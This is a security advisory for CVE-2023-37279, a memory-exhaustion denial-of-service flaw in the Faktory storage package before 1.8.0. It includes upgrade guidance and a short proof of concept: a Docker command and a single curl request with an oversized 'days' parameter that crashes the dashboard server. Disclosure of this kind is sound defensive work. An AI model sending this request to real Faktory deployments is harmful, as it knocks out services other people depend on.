Memory Allocation with Excessive Size Value Affecting github.com/contribsys/faktory/storage package, versions <1.8.0
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- published23 Aug 2024
- disclosed21 Aug 2024
- creditMalayke
Introduced: 21 Aug 2024
CVE-2023-37279 (opens in a new tab)How to fix?
Upgrade github.com/contribsys/faktory/storage to version 1.8.0 or higher.
Overview
Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via malicious user input. An attacker can disrupt service availability by sending specially crafted inputs to the Web Dashboard.
PoC
Start the Faktory Docker and limit memory usage to 512 megabytes for better demonstration:
$ docker run --rm -it -m 512m \
-p 127.0.0.1:7419:7419 \
-p 127.0.0.1:7420:7420 \
contribsys/faktory:latest
Send the following request. The Faktory server will exit after a few seconds due to out of memory:
$ curl 'http://localhost:7420/?days=922337'